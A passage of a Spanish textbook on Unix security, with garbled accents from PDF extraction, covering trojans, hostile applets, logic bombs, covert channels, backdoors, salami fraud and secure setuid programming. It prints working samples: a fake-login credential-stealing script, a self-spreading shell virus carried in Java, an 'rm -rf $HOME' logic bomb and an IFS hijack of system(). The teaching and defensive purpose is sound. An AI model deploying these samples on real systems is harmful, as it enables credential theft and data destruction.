da˜inos: sin duda el ejemplo t´ n ıpico de troyano (tan t´ıpico que ha recibido un nombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nada m´s encender una terminal de una m´quina Unix aparece el cl´sico mensaje ‘login:’ solicitando a a a nuestro nombre de usuario y contrase˜a, datos que con toda seguridad la persona que enciende este n dispositivo teclear´ para poder acceder al sistema. Pero, ¿qu´ suceder´ si el programa que imprime a e ıa el mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un c´digo que o muestre un mensaje similar, guarde la informaci´n le´ de teclado (el login y el password) e invoque o ıda despu´s al programa login original; tras la primera lectura, se mostrar´ el tambi´n cl´sico mensaje e a e a ‘Login incorrect’, de forma que el usuario pensar´ que ha tecleado mal sus datos – nada extra˜o, a n al fin y al cabo –. Cuando el programa original se ejecute, se permitir´ el acceso al sistema y ese a usuario no habr´ notado nada anormal, pero alguien acaba de registrar su login y su contrase˜a. a n Un troyano de este tipo es tan sencillo que se puede hacer – de forma simplificada – en unas pocas l´ ıneas de shellscript: luisa:~$ cat trojan clear printf "‘uname -n‘ login: " read login stty -echonl -echo printf "Password: " read pass echo "$login : $pass" >>/tmp/.claves printf "nLogin incorrect" echo exec /bin/login luisa:~$ El atacante no necesita m´s que dejar lanzado el programa en varias terminales del sistema y es- a perar tranquilamente a que los usuarios vayan tecleando sus logins y passwords, que se guardar´n a en /tmp/.claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente para hacernos una idea del perjuicio que estos programas pueden producir en una m´quina Unix. En a los ultimos a˜os han aparecido caballos de Troya mucho m´s elaborados en diversas utilidades de ´ n a Unix, incluso en aplicaciones relacionadas con la seguridad como TCP Wrappers; en [CER99] se pueden encontrar referencias a algunos de ellos. La forma m´s f´cil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activa- a a do) es comparar los ficheros bajo sospecha con una copia de los originales, copia que evidentemente se ha de haber efectuado antes de poner el sistema en funcionamiento y debe haber sido guardada en un lugar seguro, para evitar as´ que el atacante modifique tambi´n la versi´n de nuestro backup. ı e o Tambi´n es recomendable – como sucede con el resto de malware – realizar res´menes md5 de nue- e u
- 94. 76 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS stros programas y compararlos con los res´menes originales; esto, que muchas veces es ignorado, u puede ser una excelente soluci´n para prevenir la amenaza de los caballos de Troya. o 5.4.5 Applets hostiles En los ultimos a˜os, con la proliferaci´n de la web, Java y Javascript, una nueva forma de malware ´ n o se ha hecho popular. Se trata de los denominados applets hostiles, applets que al ser descargados intentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); esto incluye desde ataques cl´sicos como negaciones de servicio o ejecuci´n remota de programas en la a o m´quina cliente hasta amenazas mucho m´s elaboradas, como difusi´n de virus, ruptura l´gica de a a o o cortafuegos o utilizaci´n de recursos remotos para grandes c´lculos cient´ o a ıficos. Como ejemplo de applet hostil – aunque este en concreto no es muy peligroso – tenemos el siguiente c´digo, obra de Mark D. LaDue (1996): o anita:~/Security# cat Homer.java import java.io.*; class Homer { public static void main (String[] argv) { try { String userHome = System.getProperty("user.home"); String target = "$HOME"; FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh"); String homer = "#!/bin/sh" + "n" + "#-_" + "n" + "echo "Java is safe, and UNIX viruses do not exist."" + "n" + "for file in ‘find " + target + " -type f -print‘" + "n" + "do" + "n" + " case "‘sed 1q $file‘" in" + "n" + " "#!/bin/sh" ) grep ’#-_’ $file > /dev/null" + " || sed -n ’/#-_/,$p’ $0 >> $file" + "n" + " esac" + "n" + "done" + "n" + "2>/dev/null"; byte[] buffer = new byte[homer.length()]; homer.getBytes(0, homer.length(), buffer, 0); outer.write(buffer); outer.close(); Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " + userHome + "/.homer.sh"); Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + "/.homer.sh"); } catch (IOException ioe) {} } } anita:~/Security# Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de hacerlo muestra el mensaje ‘Java is safe, and UNIX viruses do not exist’, para despu´s localizar e todos los ficheros shell en el directorio $HOME, comprobar cu´les est´n infectados, e infectar los a a que no lo est´n. a Aunque en un principio no se tom´ muy en serio el problema de los applets hostiles, poco tiempo o despu´s la propia Sun Microsystems reconoci´ la problem´tica asociada y se puso a trabajar para e o a minimizar los potenciales efectos de estos applets; principalmente se han centrado esfuerzos en con- trolar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesarias para que los propios navegadores monitoricen los applets ejecutados. No obstante, aunque se solu- cionen los problemas de seguridad en el c´digo, es probable que se puedan seguir utilizando applets o
- 95. 5.4. FAUNA Y OTRAS AMENAZAS 77 como una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexiones por red, no habr´n desaparecido los problemas. a 5.4.6 Bombas l´gicas o Las bombas l´gicas son en cierta forma similares a los troyanos: se trata de c´digo insertado o o en programas que parecen realizar cierta acci´n util. Pero mientras que un troyano se ejecuta o ´ cada vez que se ejecuta el programa que lo contiene, una bomba l´gica s´lo se activa bajo ciertas o o condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el alcance de cierto n´mero de ejecuciones del programa que contiene la bomba; as´ una bomba l´gica u ı, o puede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin que nadie note un funcionamiento an´malo hasta que el da˜o producido por la bomba ya est´ hecho. o n a Por ejemplo, imaginemos la misma situaci´n que antes ve´ o ıamos para el troyano: alguien con el suficiente privilegio renombra a vi como vi.old, y en el lugar del editor sit´a el siguiente c´digo: u o #!/bin/sh if [ ‘date +%a‘ = "Sun" ]; then rm -rf $HOME else vi.old $1 fi Este cambio en el sistema puede permanecer durante a˜os4 sin que se produzca un funcionamiento n an´malo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario o decida trabajar este d´ la bomba l´gica se va a activar y el directorio de este usuario ser´ borrado. ıa, o a 5.4.7 Canales ocultos Seg´n [B+ 88] un canal oculto es un cauce de comunicaci´n que permite a un proceso receptor y a u o un emisor intercambiar informaci´n de forma que viole la pol´ o ıtica de seguridad del sistema; esen- cialmente se trata de un m´todo de comunicaci´n que no es parte del dise˜o original del sistema e o n pero que puede utilizarse para transferir informaci´n a un proceso o usuario que a priori no estar´ o ıa autorizado a acceder a dicha informaci´n. Los canales ocultos existen s´lamente en sistemas con o o seguridad multinivel ([PN92]), aquellos que contienen y manejan informaci´n con diferentes niveles o de sensibilidad, de forma que se permite acceder simult´neamente a varios usuarios a dicha informa- a ci´n pero con diferentes puntos de vista de la misma, en funci´n de sus privilegios y sus necesidades o o de conocimiento (needs to know). El concepto de canal oculto fu´ introducido en 1973, en [Lam73], e y desde entonces muchos han sido los estudios realizados sobre este m´todo de ataque, que afecta e especialmente a sistemas en los que el aspecto m´s importante de la seguridad es la privacidad de a los datos (por ejemplo, los militares). Generalmente se suelen clasificar los canales cubiertos en funci´n de varios aspectos ([G+ 93]): o • Escenario Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre canales cubiertos de almacenamiento y de temporizaci´n ([Lip75]). Los primeros son o canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y la lectura – tambi´n directa o indirecta – de esos datos por parte de otro; generalmente utilizan e un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con diferentes privilegios. Por contra, los canales ocultos de temporizaci´n utilizan la modulaci´n o o de ciertos recursos, como el tiempo de CPU, para intercambiar la informaci´n entre procesos. o En [G+ 93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo de covert channel se encuentra en [McH95]. • Ruido Como cualquier canal de comunicaci´n, oculto o no, los canales cubiertos pueden ser ruidosos o 4 Obviamente, si esto es as´ denota una escasa preocupaci´n por la seguridad en ese sistema. ı, o
- 96. 78 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS o inmunes al ruido; idealmente, un canal inmune al ruido es aqu´l en que la probabilidad e de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar factores externos, no hay interferencias en la transmisi´n. Evidentemente, en la pr´ctica es o a muy dif´ conseguir estos canales tan perfectos, por lo que es habitual aplicar c´digos de ıcil o correcci´n de errores aunque ´stos reduzcan el ancho de banda del canal. o e • Flujos de informaci´n o De la misma forma que en las l´ ıneas convencionales de transmisi´n de datos se aplican t´cnicas o e (multiplexaci´n en el tiempo, multiplexaci´n en frecuencia. . . ) para maximizar el ancho de o o banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que se transmiten varios flujos de informaci´n entre emisor y receptor se les denomina agregados, o y dependiendo de c´mo se inicialicen, lean y reseteen las variables enviadas podemos hablar o de agregaci´n serie, paralela o h´ o ıbrida; los canales con un unico flujo de informaci´n se llaman ´ o no agregados. La preocupaci´n por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas o de alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados en canales cubiertos y su prevenci´n han sido – y son – realizados por las cl´sicas agencias guberna- o a mentales y militares estadounidenses (National Security Agency, US Air Force, National Computer Security Center. . . ). No obstante, tambi´n en entornos m´s ‘normales’ es posible la existencia de e a canales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96], [Row96]. . . ). El an´lisis y detecci´n canales cubiertos es una tarea complicada que generalmente se basa en a o complejos modelos formales y matem´ticos ([Wra91b], [MK94]. . . ); diversas aproximaciones son a utilizadas para el estudio de canales de temporizaci´n ([Hu91], [Wra91a]. . . ), y tambi´n para el de o e canales de almacenamiento ([PK91]). 5.4.8 Puertas traseras Las puertas traseras son trozos de c´digo en un programa que permiten a qui´n conoce su fun- o e cionamiento saltarse los m´todos usuales de autenticaci´n para realizar cierta tarea. Habitualmente e o son insertados por los programadores para agilizar la tarea de probar su c´digo durante la fase de o desarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador puede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involuntari- amente. Por ejemplo, imaginemos una aplicaci´n que para realizar cualquier tarea de seguridad o solicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo es muy inc´modo para el programador teclear estas contrase˜as antes de ver si el producto funciona o n correctamente, por lo que es muy com´n que esta persona decida incluir una rutina en el c´digo de u o forma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes. Esta situaci´n, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad o si se mantiene una vez el producto est´ instalado en un sistema real: cualquiera que conozca la a clave inicial puede saltarse todo el mecanismo de protecci´n del programa. o Aparte de puertas traseras en los programas, es posible – y t´ ıpico – situar puertas traseras en ciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a una m´quina Unix desea mantener ese acceso aunque su penetraci´n sea detectada. Por ejemplo, algo a o muy habitual es a˜adir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda n seguir accediendo al sistema con ese nuevo login aunque el administrador cierre la puerta que antes hab´ utilizado para entrar. Tambi´n es cl´sico a˜adir un nuevo servicio en un puerto no utiliza- ıa e a n do, de forma que haciendo telnet a ese n´mero de puerto se abra un shell con privilegios de root; u incluso muchos atacantes utilizan la facilidad cron para chequear peri´dicamente estos archivos e o insertar las puertas traseras de nuevo en caso de que hayan sido borradas. ¿Qu´ hacer para evitar e estos ataques? La prevenci´n pasa por comprobar peri´dicamente la integridad de los archivos o o m´s importantes (ficheros de contrase˜as, spoolers, configuraci´n de la red, programas del arranque a n o de m´quina. . . ); tambi´n es conveniente rastrear la existencia de nuevos archivos setuidados que a e puedan ‘aparecer’ en los sistemas de ficheros: cualquier nuevo programa de estas caracter´ ısticas suele indicar un ataque exitoso, y una puerta trasera – generalmente un shell setuidado – colocada
- 97. 5.4. FAUNA Y OTRAS AMENAZAS 79 en nuestra m´quina. Los m´s paranoicos no deben olvidar efectuar una b´squeda bajo los disposi- a a u tivos montados (existen utilidades para hacerlo), ya que un find normal no suele encontrar ficheros setuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad. 5.4.9 Superzapping Este problema de seguridad deriva su nombre del programa superzap, una utilidad de los antiguos mainframes de IBM que permit´ a qui´n lo ejecutaba pasar por alto todos los controles de seguri- ıa e dad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un ‘Rompa el cristal en caso de emergencia’ que estos sistemas pose´ ıan, o de una llave maestra capaz de abrir todas las puertas. Obviamente, el problema sucede cuando la llave se pierde y un atacante la utiliza en beneficio propio. Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por los graves problemas de seguridad que su existencia implica: imaginemos un shell setuidado como root y guardado en /tmp/, de forma que si el sistema funciona an´malamente cualquiera puede o ejecutarlo para solucionar el posible problema. Parece obvio que para un atacante ser´ un gran ıa avance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programas superzap como malware, ya que en principio se trata de aplicaciones leg´ıtimas, incluso necesarias en determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en s´ ı lo que constituye una amenaza a la seguridad. El ejemplo t´ıpico ([ISV95], [Par81]. . . ) de problemas derivados del superzapping es un caso ocurrido en Nueva Jersey que caus´ la p´rdida de 128.000 d´lares de los a˜os setenta. El operador de un o e o n sistema bancario estaba utilizando un programa superzap para corregir balances en el estado de las cuentas cuando un error simple le demostr´ lo f´cil que pod´ modificar registros sin que el sistema o a ıa de auditor´ lo detectara; aprovech´ esta situaci´n para transferir dinero a tres cuentas, y dado que ıa o o no dej´ huellas la unica forma de detectar el fraude fu´ la r´pida reacci´n del banco ante la queja o ´ e a o de un usuario – y un exhaustivo an´lisis del estado de todas las cuentas. a 5.4.10 Programas salami Las t´cnicas salami se utilizan para desviar peque˜as cantidades de bienes – generalmente dinero e n – de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami se cortan peque˜as rodajas sin que el total sufra una reducci´n considerable, un programa salami n o roba peque˜as cantidades de dinero, de forma que su acci´n pasa inadvertida. Aunque su efecto n o es especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamos a hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unix dedicados a operaciones financieras, como la gesti´n de n´minas de personal o la asignaci´n de becas. o o o El principal problema de los programas salami es que son extremadamente dif´ ıciles de detectar, y s´lo una compleja auditor´ de cuentas puede sacar a la luz estos fraudes. Si un programador o ıa es lo suficientemente inteligente como para insertar malware de este tipo en los sistemas de un banco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque ser´ casi ıa despreciable), seguramente conoce a la perfecci´n todos los entresijos de dicho banco, de forma que o no le ser´ dif´ desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto a ıcil umbral en dichas cuentas – umbral a partir del cual el banco ‘se interesar´ por el propietario de ıa’ la cuenta – o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contra esto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y sus allegados, as´ como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una ı persona con un sueldo normal, viajes caros, demasiadas ostentaciones. . . pueden ser signo de un fraude; evidentemente, es necesario consultar con un gabinete jur´ ıdico la legalidad o ilegalidad de estas acciones, que pueden constituir una invasi´n a la privacidad del trabajador. Por supuesto, la o soluci´n ideal ser´ comprobar l´ o ıa ınea a l´ ınea todo el software del banco, pero pocos auditores tienen los conocimientos – y la paciencia – suficientes para realizar esta tarea. Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo o
- 98. 80 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS round down. Este fraude consiste en aprovechar c´lculos de los sistemas bancarios que obtienen a cantidades de dinero m´s peque˜as que la moneda de menor valor (en el caso de Espa˜a, cantidades a n n de c´ntimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un inter´s e e del 2’5%; los cr´ditos le reditar´n un total de 3088’075 pesetas, que autom´ticamente para el banco e a a se transformar´n en 3088. Si esos 7’5 c´ntimos se acumulan en otro c´lculo con cantidades igual de a e a despreciables, se llegar´ tarde o temprano a un punto en el que la cantidad total de dinero sea lo a suficientemente apetecible para un atacante dispuesto a aprovechar la situaci´n. Si pensamos que o millones de estos c´lculos se realizan diariamente en todos los bancos de Espa˜a, podemos hacernos a n una idea del poco tiempo que tardar´ la cuenta de un pirata en llenarse. a 5.5 Programaci´n segura o Parece obvio que despu´s de analizar los problemas que un c´digo malicioso o simplemente mal e o dise˜ado puede causar, dediquemos un apartado a comentar brevemente algunos aspectos a tener n en cuenta a la hora de crear programas seguros. Vamos a hablar de programaci´n en C, obvia- o mente por ser el lenguaje m´s utilizado en Unix; para aquellos interesados en la seguridad de otros a lenguajes que tambi´n se utilizan en entornos Unix, existen numerosos art´ e ıculos que hablan de la programaci´n segura – e insegura – en lenguajes que van desde Java ([MS98], [DFW96], [Gal96b]. . . ) o a SQL ([PB93]). El principal problema de la programaci´n en Unix lo constituyen los programas setuidados; si o un programa sin este bit activo tiene un fallo, lo normal es que ese fallo solamente afecte a quien lo ejecuta. Al tratarse de un error de programaci´n, algo no intencionado, su primera consecuencia o ser´ el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando el progra- a ma est´ setuidado: en este caso, el error puede comprometer tanto a quien lo ejecuta como a su a propietario, y como ese propietario es por norma general el root autom´ticamente se compromete a a todo el sistema. Para la codificaci´n segura de este tipo de programas, [Bis86] proporciona unas o l´ ıneas b´sicas: a • M´ximas restricciones a la hora de elegir el UID y el GID. a Una medida de seguridad b´sica que todo administrador de sistemas Unix ha de seguir es a realizar todas las tareas con el m´ ınimo privilegio que estas requieran ([Sim90]); as´ a nadie ı, se le ocurre (o se le deber´ ocurrir) conectar a IRC o aprender a manejar una aplicaci´n ıa o gen´rica bajo la identidad de root. Esto es directamente aplicable a la hora de programar: e cuando se crea un programa setuidado (o setgidado) se le ha de asignar tanto el UID como el GID menos peligroso para el sistema. Por ejemplo, si un programa servidor se limita a mostrar un mensaje en pantalla y adem´s escucha en un puerto por encima de 1024, no necesita para a nada estar setuidado a nombre de root (realmente, es poco probable que ni siquiera necesite estar setuidado); si pensamos en un posible error en dicho programa que permita a un atacante obtener un shell vemos claramente que cuanto menos privilegio tenga el proceso, menos malas ser´n las posibles consecuencias de tal error. a • Reset de los UIDs y GIDs efectivos antes de llamar a exec(). Uno de los grandes problemas de los programas setuidados es la ejecuci´n de otros programas o de manera inesperada; por ejemplo, si el usuario introduce ciertos datos desde teclado, datos que se han de pasar como argumento a otra aplicaci´n, nada nos asegura a priori que esos o datos sean correctos o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos antes de invocar a exec(), de forma que cualquier ejecuci´n inesperada se realice con el o m´ınimo privilegio necesario; esto tambi´n es aplicable a funciones que indirectamente realicen e el exec(), como system() o popen(). • Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente necesarios, antes de llamar a exec(). Los descriptores de ficheros son un par´metro que los procesos Unix heredan de sus padres; de a esta forma, si un programa setuidado est´ leyendo un archivo, cualquier proceso hijo tendr´ a a acceso a ese archivo a no ser que expl´ıcitamente se cierre su descriptor antes de ejecutar el exec().
- 99. ´ 5.5. PROGRAMACION SEGURA 81 La forma m´s f´cil de prevenir este problema es activando un flag que indique al sistema a a que ha de cerrar cierto descriptor cada vez que se invoque a exec(); esto se consigue medi- ante las llamadas fcntl() e ioctl(). • Hay que asegurarse de que chroot() realmente restringe. Los enlaces duros entre directorios son algo que el n´cleo de muchos sistemas Unix no permiten u debido a que genera bucles en el sistema de ficheros, algo que crea problemas a determinadas aplicaciones; por ejemplo, Linux no permite crear estos enlaces, pero Solaris o Minix s´ En ı. estos ultimos, en los clones de Unix que permiten hard links entre directorios, la llamada ´ chroot() puede perder su funcionalidad: estos enlaces pueden seguirse aunque no se limiten al entorno con el directorio ra´ restringido. Es necesario asegurarse de que no hay directorios ız enlazados a ninguno de los contenidos en el entorno chroot() (podemos verlo con la opci´n o ‘-l’ de la orden ls, que muestra el n´mero de enlaces de cada archivo). u • Comprobaciones del entorno en que se ejecutar´ el programa. a En Unix todo proceso hereda una serie de variables de sus progenitores, como el umask, los descriptores de ficheros, o ciertas variables de entorno ($PATH, $IFS. . . ); para una ejecuci´n o segura, es necesario controlar todos y cada uno de estos elementos que afectan al entorno de un proceso. Especialmente cr´ ıticas son las funciones que dependen del shell para ejecutar un programa, como system() o execvp(): en estos casos es muy dif´ asegurar que el shell va ıcil a ejecutar la tarea prevista y no otra. Por ejemplo, imaginemos el siguiente c´digo: o #include <stdlib.h> main(){ system("ls"); } A primera vista, este programa se va a limitar a mostrar un listado del directorio actual; no obstante, si un usuario modifica su $PATH de forma que el directorio ‘.’ ocupe el primer lugar, se ejecutar´ ./ls en lugar de /bin/ls. Si el programa ./ls fuera una copia del shell, y a el c´digo anterior estuviera setuidado por el root, cualquier usuario podr´ obtener privilegios o ıa de administrador. Quiz´s alguien puede pensar que el problema se soluciona si se indica la ruta completa a (/bin/ls) en lugar de unicamente el nombre del ejecutable; evidentemente, esto arreglar´ el ´ ıa fallo anterior, pero seguir´ siendo factibles multitud de ataques contra el programa. Des- ıan de la modificaci´n del $IFS (como veremos m´s adelante) hasta la ejecuci´n en entornos o a o restringidos, existen much´ ısimas t´cnicas que hacen muy dif´ que un programa con estas e ıcil caracter´ısticas pueda ser considerado seguro. • Nunca setuidar shellscripts. Aunque en muchos sistemas Unix la activaci´n del bit setuid en shellscripts no tiene ning´n o u efecto, muchos otros a´n permiten que los usuarios – especialmente el root – creen procesos u interpretados y setuidados. La potencia de los int´rpretes de ´rdenes de Unix hace casi im- e o posible controlar que estos programas no realicen acciones no deseadas, violando la seguridad del sistema, por lo que bajo ning´n concepto se ha de utilizar un proceso por lotes para u realizar acciones privilegiadas de forma setuidada. • No utilizar creat() para bloquear. Una forma de crear un fichero de bloqueo es invocar a creat() con un modo que no permita la escritura del archivo (habitualmente el 000), de forma que si otro usuario tratara de hacer lo mismo, su llamada a creat() fallar´ Esta aproximaci´n, que a primera vista parece ıa. o completamente v´lida, no lo es tanto si la analizamos con detalle: en cualquier sistema Unix, a la protecci´n que proporcionan los permisos de un fichero s´lo es aplicable si quien trata de o o acceder a ´l no es el root. Si esto es as´ es decir, si el UID efectivo del usuario que est´ acce- e ı, a diendo al archivo es 0, los permisos son ignorados completamente y el acceso est´ permitido; a de esta forma, el root puede sobreescribir archivos sin que le importen sus bits rwx, lo que implica que si uno de los procesos que compiten por el recurso bloqueado est´ setuidado a a
- 100. 82 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS nombre del administrador, el esquema de bloqueo anterior se viene abajo. Para poder bloquear recursos en un programa setuidado se utiliza la llamada link(), ya que si se intenta crear un enlace a un fichero que ya existe link() falla aunque el proceso que lo invoque sea propiedad del root (y aunque el fichero sobre el que se realice no le pertenez- ca).Tambi´n es posible utilizar la llamada al sistema flock() de algunos Unices, aunque es e menos recomendable por motivos de portabilidad entre clones. • Capturar todas las se˜ales. n Un problema que puede comprometer la seguridad del sistema Unix es el volcado de la im- agen en memoria de un proceso cuando ´ste recibe ciertas se˜ales (el cl´sico core dump). e n a Esto puede provocar el volcado de informaci´n sensible que el programa estaba leyendo: por o ejemplo, en versiones del programa login de algunos Unices antiguos, se pod´ leer parte de ıa /etc/shadow enviando al proceso la se˜al sigterm y consultando el fichero de volcado. n No obstante, este problema no resulta tan grave como otro tambi´n relacionado con los core e dump: cuando un programa setuidado vuelca su imagen el fichero resultante tiene el mismo UID que el UID real del proceso. Esto puede permitir a un usuario obtener un fichero con permiso de escritura para todo el mundo pero que pertenezca a otro usuario (por ejemplo, el root): evidentemente esto es muy perjudicial, por lo que parece claro que en un progra- ma setuidado necesitamos capturar todas las se˜ales que Unix nos permita (recordemos que n sigkill no puede capturarse ni ignorarse, por norma general). • Hay que asegurarse de que las verificaciones realmente verifican. Otra norma b´sica a la hora de escribir aplicaciones setuidadas es la desconfianza de cualquier a elemento externo al programa; hemos de verificar siempre que las entradas (teclado, fiche- ros. . . ) son correctas, ya no en su formato sino m´s bien en su origen: ¿de qui´n proviene un a e archivo del que nuestro programa lee sus datos, de una fuente fiable o de un atacante que por cualquier m´todo – no nos importa cu´l – ha conseguido reemplazar ese archivo por otro que e a ´l ha creado? e • Cuidado con las recuperaciones y detecciones de errores. Ante cualquier situaci´n inesperada – y por lo general, poco habitual, incluso forzada por un o atacante – un programa setuidado debe detenerse sin m´s; nada de intentar recuperarse del a error: detenerse sin m´s. Esto, que quiz´s rompe muchos de los esquemas cl´sicos sobre pro- a a a gramaci´n robusta, tiene una explicaci´n sencilla: cuando un programa detecta una situaci´n o o o inesperada, a menudo el programador asume condiciones sobre el error (o sobre su causa) que no tienen por qu´ cumplirse, lo que suele desembocar en un problema m´s grave que la propia e a situaci´n inesperada. Para cada posible problema que un programa encuentre (entradas muy o largas, caracteres err´neos o de control, formatos de datos err´neos. . . ) es necesario que el o o programador se plantee qu´ es lo que su c´digo debe hacer, y ante la m´ e o ınima duda detener el programa. • Cuidado con las operaciones de entrada/salida. La entrada/salida entre el proceso y el resto del sistema constituye otro de los problemas comunes en programas setuidados, especialmente a la hora de trabajar con ficheros; las condi- ciones de carrera aqu´ son algo demasiado frecuente: el ejemplo cl´sico se produce cuando ı a un programa setuidado ha de escribir en un archivo propiedad del usuario que ejecuta el pro- grama (no de su propietario). En esta situaci´n lo habitual es que el proceso cree el fichero, o realize sobre ´l un chown() al rUID y al rGID del proceso (es decir, a los identificadores de e qui´n est´ ejecutando el programa), y posteriormente escriba en el archivo; el esqueleto del e a c´digo ser´ el siguiente: o ıa fd=open("fichero",O_CREAT); fchown(fd,getuid(),getgid()); write(fd,buff,strlen(buff)); Pero, ¿qu´ sucede si el programa se interrumpe tras realizar el open() pero antes de invocar e a fchown(), y adem´s el umask del usuario es 0? El proceso habr´ dejado un archivo que a a
- 101. ´ 5.5. PROGRAMACION SEGURA 83 pertenece al propietario del programa (generalmente el root) y que tiene permiso de escritura para todo el mundo. La forma m´s efectiva de solucionar el problema consiste en que el a proceso engendre un hijo mediante fork(), hijo que asignar´ a sus eUID y eGID los valores a de su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de su propietario). El padre podr´ enviar datos a su hijo mediante pipe(), datos que el hijo escribir´ en el a a fichero correspondiente: as´ el fichero en ning´n momento tendr´ por qu´ pertenecer al usuario ı u a e propietario del programa, con lo que evitamos la condici´n de carrera expuesta anteriormente. o Sin embargo, un correcto estilo de programaci´n no siempre es la soluci´n a los problemas de o o seguridad del c´digo; existen llamadas a sistema o funciones de librer´ que son un cl´sico a la hora o ıa a de hablar de bugs en nuestro software. Como norma, tras cualquier llamada se ha de comprobar su valor de retorno y manejar los posibles errores que tenga asociados ([Sho00]), con la evidente excepci´n de las llamadas que est´n dise˜adas para sobreescribir el espacio de memoria de un proceso o a n (la familia exec() por ejemplo) o las que hacen que el programa finalice (t´ ıpicamente, exit()) . Algunas de las llamadas consideradas m´s peligrosas (bien porque no realizan las comprobaciones a necesarias, bien porque pueden recibir datos del usuario) son las siguientes5 : • system(): Esta es la llamada que cualquier programa setuidado debe evitar a toda costa. Si aparece en un c´digo destinado a ejecutarse con privilegios, significa casi con toda certeza un o grave problema de seguridad; en algunas ocasiones su peligrosidad es obvia (por ejemplo si leemos datos tecleados por el usuario y a continuaci´n hacemos un system() de esos datos, o ese usuario no tendr´ m´s que teclear /bin/bash para conseguir los privilegios del propietario ıa a del programa), pero en otras no lo es tanto: imaginemos un c´digo que invoque a system() o de una forma similar a la siguiente: #include <stdio.h> #include <stdlib.h> main(){ system("/bin/ls"); } El programa anterior se limitar´ a realizar un listado del directorio desde el que lo ejecutemos. ıa Al menos en teor´ ya que podemos comprobar que no es dif´ ‘enga˜ar’ a system(): no ıa, ıcil n tenemos m´s que modificar la variable de entorno $IFS (Internal Field Separator) del shell a desde el que ejecutemos el programa para conseguir que este c´digo ejecute realmente lo o que nosotros le indiquemos. Esta variable delimita las palabras (o s´ ımbolos) en una l´ ınea de ´rdenes, y por defecto suele estar inicializada a Espacio, Tabulador, y Nueva L´ o ınea (los separadores habituales de palabras); pero, ¿qu´ sucede si le indicamos al shell que el nuevo e car´cter separador va a ser la barra, ‘/’?. Muy sencillo: ejecutar ‘/bin/ls’ ser´ equivalente a a a ejecutar ‘bin ls’, es decir, una posible orden denominada ‘bin’ que recibe como par´metro a ‘ls’. Por ejemplo, bajo SunOS – bajo la mayor´ de Unices –, y utilizando sh (no bash) ıa podemos hacer que ‘bin’ sea un programa de nuestra elecci´n, como ‘id’: o $ cp /bin/id bin $ ejemplo bin ejemplo.c ejemplo $ IFS=/ $ export IFS $ ejemplo uid=672(toni) gid=10(staff) $ Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar de ‘id’ hu- bi´ramos escogido un int´rprete de ´rdenes, como ‘bash’ o ‘sh’, habr´ e e o ıamos ejecutado ese shell. Y si el programa anterior estuviera setudiado, ese shell se habr´ ejecutado con los ıa privilegios del propietario del archivo (si imaginamos que fuera root, podemos hacernos una idea de las implicaciones de seguridad que esto representa). 5 Que sean peligrosas no significa que algunas de ellas no se deban utilizar nunca, s´lo que si las usamos hemos de o tomar unas m´ ınimas precauciones.
